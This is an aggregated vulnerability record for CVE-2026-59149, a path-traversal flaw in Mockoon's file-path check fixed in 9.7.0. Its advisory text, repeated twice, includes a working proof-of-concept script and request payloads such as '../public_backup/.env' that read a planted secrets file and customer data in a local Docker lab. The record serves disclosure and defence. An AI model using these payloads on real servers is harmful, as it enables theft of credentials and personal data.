{"id":"CVE-2026-59149","aliases":["EUVD-2026-42684","GHSA-8wqc-v2q8-vff2"],"status":"published","title":"Mockoon: Path traversal in templated `filePath` lets a request escape the served directory (prefix-only base check)","description":"Mockoon provides way to design and run mock APIs. Prior to 9.7.0, a FILE response whose filePath embeds request data is confined by getSafeFilePath in packages/commons-server/src/libs/server/server.ts with resolvedPath.startsWith(staticBaseDir). That prefix test has no path-separator boundary, so a ../-escaped path whose absolute form string-prefixes the base directory passes, allowing an unauthenticated client to read files from sibling paths outside the served directory through HTTP sendFile, WebSocket, or callbacks. This issue is fixed in version 9.7.0.","severity":{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N","level":"medium","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-09","score":0.00483,"percentile":0.41903,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-22","CWE-23"],"published":"2026-07-09T18:28:35Z","modified":"2026-10-28T02:31:04Z","fixes":[{"ecosystem":"npm","package":"@mockoon/commons-server","fixed_in":["9.7.0"],"sources":["ghsa","osv"]},{"ecosystem":"npm","package":"@mockoon/cli","fixed_in":["9.7.0"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"npm","package":"@mockoon/commons-server","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"9.6.1"},{"fixed":"9.7.0"}]}]},{"source":"ghsa","ecosystem":"npm","package":"@mockoon/cli","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"9.6.1"},{"fixed":"9.7.0"}]}]},{"source":"osv","ecosystem":"npm","package":"@mockoon/commons-server","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"9.7.0"}]}]},{"source":"osv","ecosystem":"npm","package":"@mockoon/cli","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"9.7.0"}]}]}],"products":[{"vendor":"mockoon","product":"mockoon"}],"references":[{"url":"https://github.com/mockoon/mockoon/security/advisories/GHSA-8wqc-v2q8-vff2","tags":["x_refsource_CONFIRM","exploit","advisory","web"]},{"url":"https://github.com/mockoon/mockoon/pull/2255","tags":["x_refsource_MISC","fix","web"]},{"url":"https://github.com/mockoon/mockoon/commit/b42bdfb7f82e83f0e81bea8e6fe41adf5ec82585","tags":["x_refsource_MISC","fix","web"]},{"url":"https://github.com/mockoon/mockoon/releases/tag/v9.7.0","tags":["x_refsource_MISC","web"]},{"url":"https://mockoon.com/releases/9.7.0","tags":["x_refsource_MISC","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-59149","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-8wqc-v2q8-vff2"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/59xxx/CVE-2026-59149.json","tags":["advisory"]},{"url":"https://github.com/mockoon/mockoon","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-59149","title":"Mockoon: Path traversal in templated `filePath` lets a request escape the served directory (prefix-only base check)","description":"Mockoon provides way to design and run mock APIs. Prior to 9.7.0, a FILE response whose filePath embeds request data is confined by getSafeFilePath in packages/commons-server/src/libs/server/server.ts with resolvedPath.startsWith(staticBaseDir). That prefix test has no path-separator boundary, so a ../-escaped path whose absolute form string-prefixes the base directory passes, allowing an unauthenticated client to read files from sibling paths outside the served directory through HTTP sendFile, WebSocket, or callbacks. This issue is fixed in version 9.7.0.","status":"published","published":"2026-07-09T18:28:35.693Z","modified":"2026-07-09T18:41:45.833Z","cvss":[{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N","level":"medium","assessor":"cna"}],"cwes":["CWE-22","CWE-23"],"updated_at":"2026-11-02T14:19:58.560602Z"}],"euvd":[{"id":"EUVD-2026-42684","description":"Mockoon provides way to design and run mock APIs. Prior to 9.7.0, a FILE response whose filePath embeds request data is confined by getSafeFilePath in packages/commons-server/src/libs/server/server.ts with resolvedPath.startsWith(staticBaseDir). That prefix test has no path-separator boundary, so a ../-escaped path whose absolute form string-prefixes the base directory passes, allowing an unauthenticated client to read files from sibling paths outside the served directory through HTTP sendFile, WebSocket, or callbacks. This issue is fixed in version 9.7.0.","status":"published","published":"2026-07-09T18:28:35Z","modified":"2026-07-09T18:41:45Z","cvss":[{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N","level":"medium"}],"updated_at":"2026-11-02T18:20:03.742277Z"}],"ghsa":[{"id":"GHSA-8wqc-v2q8-vff2","title":"@Mockoon/commons-server: Path traversal in templated `filePath` lets a request escape the served directory (prefix-only base check)","description":"## Summary\n\nA `FILE` response whose `filePath` embeds request data (e.g. `\"/srv/public/{{queryParam 'name'}}\"`, the documented way to let the client pick a file) is confined by `getSafeFilePath` with `resolvedPath.startsWith(staticBaseDir)`. That prefix test has no path-separator boundary, so a `../`-escaped path whose absolute form string-prefixes the base directory passes. An unauthenticated client reads files from sibling paths outside the served directory.\n\n## Details\n\n`packages/commons-server/src/libs/server/server.ts`, `getSafeFilePath` (line 2315). The static base is the text before the first `{{`, resolved to an absolute path; the parsed `filePath` is then bounded by a string-prefix check:\n\n```ts\nconst staticBaseDir = staticBaseMatch ? resolve(staticBaseMatch[1]) : null;     // 2336\nconst parsedFilePath = TemplateParser({ ... request ... });                     // request-controlled\nconst resolvedPath = resolvePath(parsedFilePath);\n\nif (isPathAbsolute) {\n  if (!staticBaseDir || !resolvedPath.startsWith(staticBaseDir)) {              // 2355\n    throw new Error(`Access to absolute path outside of the original static base directory (${resolvedPath})`);\n  }\n} else if (!resolvedPath.startsWith(this.options.environmentDirectory)) {       // 2362\n  throw new Error(`Access to relative path outside of the environment base directory (${resolvedPath})`);\n}\n```\n\nWith `\"/srv/public/{{queryParam 'name'}}\"`, `staticBaseDir = /srv/public`. A request `name=../public_backup/.env` resolves to `/srv/public_backup/.env`, and `\"/srv/public_backup/.env\".startsWith(\"/srv/public\")` is `true` → served. Any sibling whose absolute path begins with the string `/srv/public` is reachable; the relative branch (`:2362`) is the same against `environmentDirectory`. A correct check appends `sep` to the base, or rejects when `relative(base, resolvedPath)` starts with `..`.\n\n`filePath` is request-controlled (`queryParam`/`urlParam`/header/body via `TemplateParser`) for every `FILE` response: HTTP `sendFile` (`:1762`), WebSocket (`:1145`), callbacks (`:1586`).\n\n## PoC\n\n```sh\ncat \u003e /tmp/poc.sh \u003c\u003c'POC'\nset -e\nmkdir -p /work/public /work/public_backup \u0026\u0026 cd /work\necho 'public landing page' \u003e public/index.txt\necho 'AWS_SECRET_ACCESS_KEY=redacted' \u003e public_backup/.env\necho 'Michael, michael@example.com, 555-22-7741' \u003e public_backup/customers.csv\ncat \u003e env.json \u003c\u003c'JSON'\n{\"uuid\":\"00000000-0000-0000-0000-000000000001\",\"lastMigration\":33,\"name\":\"f\",\"port\":3000,\"hostname\":\"\",\"folders\":[],\n\"routes\":[{\"uuid\":\"11111111-0000-0000-0000-000000000001\",\"type\":\"http\",\"documentation\":\"\",\"method\":\"get\",\"endpoint\":\"download\",\n\"responses\":[{\"uuid\":\"22222222-0000-0000-0000-000000000001\",\"body\":\"\",\"latency\":0,\"statusCode\":200,\"label\":\"\",\"headers\":[],\n\"bodyType\":\"FILE\",\"filePath\":\"/work/public/{{queryParam 'name'}}\",\"sendFileAsBody\":true,\"rules\":[],\"rulesOperator\":\"OR\",\n\"disableTemplating\":false,\"fallbackTo404\":false,\"default\":true,\"crudKey\":\"id\",\"callbacks\":[]}],\n\"responseMode\":null,\"streamingMode\":null,\"streamingInterval\":0}],\n\"rootChildren\":[{\"type\":\"route\",\"uuid\":\"11111111-0000-0000-0000-000000000001\"}],\n\"proxyMode\":false,\"proxyHost\":\"\",\"proxyRemovePrefix\":false,\n\"tlsOptions\":{\"enabled\":false,\"type\":\"CERT\",\"pfxPath\":\"\",\"certPath\":\"\",\"keyPath\":\"\",\"caPath\":\"\",\"passphrase\":\"\"},\n\"cors\":true,\"headers\":[],\"proxyReqHeaders\":[],\"proxyResHeaders\":[],\"data\":[]}\nJSON\nnpm i -g @mockoon/cli@9.6.1 \u003e/dev/null 2\u003e\u00261\nmockoon-cli start --data env.json --port 3000 \u003e/tmp/srv.log 2\u003e\u00261 \u0026\nsleep 6\nnode -e '\nconst UA={headers:{\"User-Agent\":\"Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0\"}};\nconst g=async(q)=\u003e{const r=await fetch(\"http://127.0.0.1:3000/download?name=\"+encodeURIComponent(q),UA);return (await r.text()).trim();};\n(async()=\u003e{\n console.log(\"[*] intended file (public/index.txt)    :\",await g(\"index.txt\"));\n console.log(\"[+] escape -\u003e ../public_backup/.env     :\",await g(\"../public_backup/.env\"));\n console.log(\"[+] escape -\u003e ../public_backup/customers:\",await g(\"../public_backup/customers.csv\"));\n})();'\nPOC\ndocker run --rm -v /tmp/poc.sh:/poc.sh:ro node:20-bookworm-slim bash /poc.sh\n```\n\nOutput:\n\n```text\n[*] intended file (public/index.txt)    : public landing page\n[+] escape -\u003e ../public_backup/.env     : AWS_SECRET_ACCESS_KEY=redacted\n[+] escape -\u003e ../public_backup/customers: Michael, michael@example.com, 555-22-7741\n```\n\n`../public_backup/.env` and `../public_backup/customers.csv` are served, outside `/work/public/`, because their absolute paths string-prefix `/work/public`","status":"published","published":"2026-09-11T22:04:32Z","modified":"2026-09-11T22:04:34Z","cvss":[{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N","level":"medium"}],"cwes":["CWE-22","CWE-23"],"updated_at":"2026-11-02T14:41:17.136201Z"}],"nvd":[{"id":"CVE-2026-59149","description":"Mockoon provides way to design and run mock APIs. Prior to 9.7.0, a FILE response whose filePath embeds request data is confined by getSafeFilePath in packages/commons-server/src/libs/server/server.ts with resolvedPath.startsWith(staticBaseDir). That prefix test has no path-separator boundary, so a ../-escaped path whose absolute form string-prefixes the base directory passes, allowing an unauthenticated client to read files from sibling paths outside the served directory through HTTP sendFile, WebSocket, or callbacks. This issue is fixed in version 9.7.0.","status":"published","published":"2026-07-09T19:17:07.207Z","modified":"2026-07-10T19:15:15.78Z","cvss":[{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N","level":"medium","assessor":"secondary"}],"cwes":["CWE-22","CWE-23"],"updated_at":"2026-11-02T14:12:28.4135Z"}],"osv":[{"id":"CVE-2026-59149","title":"Mockoon: Path traversal in templated `filePath` lets a request escape the served directory (prefix-only base check)","description":"Mockoon provides way to design and run mock APIs. Prior to 9.7.0, a FILE response whose filePath embeds request data is confined by getSafeFilePath in packages/commons-server/src/libs/server/server.ts with resolvedPath.startsWith(staticBaseDir). That prefix test has no path-separator boundary, so a ../-escaped path whose absolute form string-prefixes the base directory passes, allowing an unauthenticated client to read files from sibling paths outside the served directory through HTTP sendFile, WebSocket, or callbacks. This issue is fixed in version 9.7.0.","status":"published","published":"2026-07-09T18:28:35.693Z","modified":"2026-10-28T02:31:04.889727521Z","cvss":[{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N","level":"medium"}],"cwes":["CWE-22","CWE-23"],"updated_at":"2026-11-02T15:45:12.496548Z"},{"id":"GHSA-8wqc-v2q8-vff2","title":"@Mockoon/commons-server: Path traversal in templated `filePath` lets a request escape the served directory (prefix-only base check)","description":"## Summary\n\nA `FILE` response whose `filePath` embeds request data (e.g. `\"/srv/public/{{queryParam 'name'}}\"`, the documented way to let the client pick a file) is confined by `getSafeFilePath` with `resolvedPath.startsWith(staticBaseDir)`. That prefix test has no path-separator boundary, so a `../`-escaped path whose absolute form string-prefixes the base directory passes. An unauthenticated client reads files from sibling paths outside the served directory.\n\n## Details\n\n`packages/commons-server/src/libs/server/server.ts`, `getSafeFilePath` (line 2315). The static base is the text before the first `{{`, resolved to an absolute path; the parsed `filePath` is then bounded by a string-prefix check:\n\n```ts\nconst staticBaseDir = staticBaseMatch ? resolve(staticBaseMatch[1]) : null;     // 2336\nconst parsedFilePath = TemplateParser({ ... request ... });                     // request-controlled\nconst resolvedPath = resolvePath(parsedFilePath);\n\nif (isPathAbsolute) {\n  if (!staticBaseDir || !resolvedPath.startsWith(staticBaseDir)) {              // 2355\n    throw new Error(`Access to absolute path outside of the original static base directory (${resolvedPath})`);\n  }\n} else if (!resolvedPath.startsWith(this.options.environmentDirectory)) {       // 2362\n  throw new Error(`Access to relative path outside of the environment base directory (${resolvedPath})`);\n}\n```\n\nWith `\"/srv/public/{{queryParam 'name'}}\"`, `staticBaseDir = /srv/public`. A request `name=../public_backup/.env` resolves to `/srv/public_backup/.env`, and `\"/srv/public_backup/.env\".startsWith(\"/srv/public\")` is `true` → served. Any sibling whose absolute path begins with the string `/srv/public` is reachable; the relative branch (`:2362`) is the same against `environmentDirectory`. A correct check appends `sep` to the base, or rejects when `relative(base, resolvedPath)` starts with `..`.\n\n`filePath` is request-controlled (`queryParam`/`urlParam`/header/body via `TemplateParser`) for every `FILE` response: HTTP `sendFile` (`:1762`), WebSocket (`:1145`), callbacks (`:1586`).\n\n## PoC\n\n```sh\ncat \u003e /tmp/poc.sh \u003c\u003c'POC'\nset -e\nmkdir -p /work/public /work/public_backup \u0026\u0026 cd /work\necho 'public landing page' \u003e public/index.txt\necho 'AWS_SECRET_ACCESS_KEY=redacted' \u003e public_backup/.env\necho 'Michael, michael@example.com, 555-22-7741' \u003e public_backup/customers.csv\ncat \u003e env.json \u003c\u003c'JSON'\n{\"uuid\":\"00000000-0000-0000-0000-000000000001\",\"lastMigration\":33,\"name\":\"f\",\"port\":3000,\"hostname\":\"\",\"folders\":[],\n\"routes\":[{\"uuid\":\"11111111-0000-0000-0000-000000000001\",\"type\":\"http\",\"documentation\":\"\",\"method\":\"get\",\"endpoint\":\"download\",\n\"responses\":[{\"uuid\":\"22222222-0000-0000-0000-000000000001\",\"body\":\"\",\"latency\":0,\"statusCode\":200,\"label\":\"\",\"headers\":[],\n\"bodyType\":\"FILE\",\"filePath\":\"/work/public/{{queryParam 'name'}}\",\"sendFileAsBody\":true,\"rules\":[],\"rulesOperator\":\"OR\",\n\"disableTemplating\":false,\"fallbackTo404\":false,\"default\":true,\"crudKey\":\"id\",\"callbacks\":[]}],\n\"responseMode\":null,\"streamingMode\":null,\"streamingInterval\":0}],\n\"rootChildren\":[{\"type\":\"route\",\"uuid\":\"11111111-0000-0000-0000-000000000001\"}],\n\"proxyMode\":false,\"proxyHost\":\"\",\"proxyRemovePrefix\":false,\n\"tlsOptions\":{\"enabled\":false,\"type\":\"CERT\",\"pfxPath\":\"\",\"certPath\":\"\",\"keyPath\":\"\",\"caPath\":\"\",\"passphrase\":\"\"},\n\"cors\":true,\"headers\":[],\"proxyReqHeaders\":[],\"proxyResHeaders\":[],\"data\":[]}\nJSON\nnpm i -g @mockoon/cli@9.6.1 \u003e/dev/null 2\u003e\u00261\nmockoon-cli start --data env.json --port 3000 \u003e/tmp/srv.log 2\u003e\u00261 \u0026\nsleep 6\nnode -e '\nconst UA={headers:{\"User-Agent\":\"Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0\"}};\nconst g=async(q)=\u003e{const r=await fetch(\"http://127.0.0.1:3000/download?name=\"+encodeURIComponent(q),UA);return (await r.text()).trim();};\n(async()=\u003e{\n console.log(\"[*] intended file (public/index.txt)    :\",await g(\"index.txt\"));\n console.log(\"[+] escape -\u003e ../public_backup/.env     :\",await g(\"../public_backup/.env\"));\n console.log(\"[+] escape -\u003e ../public_backup/customers:\",await g(\"../public_backup/customers.csv\"));\n})();'\nPOC\ndocker run --rm -v /tmp/poc.sh:/poc.sh:ro node:20-bookworm-slim bash /poc.sh\n```\n\nOutput:\n\n```text\n[*] intended file (public/index.txt)    : public landing page\n[+] escape -\u003e ../public_backup/.env     : AWS_SECRET_ACCESS_KEY=redacted\n[+] escape -\u003e ../public_backup/customers: Michael, michael@example.com, 555-22-7741\n```\n\n`../public_backup/.env` and `../public_backup/customers.csv` are served, outside `/work/public/`, because their absolute paths string-prefix `/work/public`","status":"published","published":"2026-09-11T22:04:32Z","modified":"2026-09-11T22:15:03.880357397Z","cvss":[{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N","level":"medium"}],"cwes":["CWE-22","CWE-23"],"updated_at":"2026-11-02T15:46:42.78452Z"}]}}
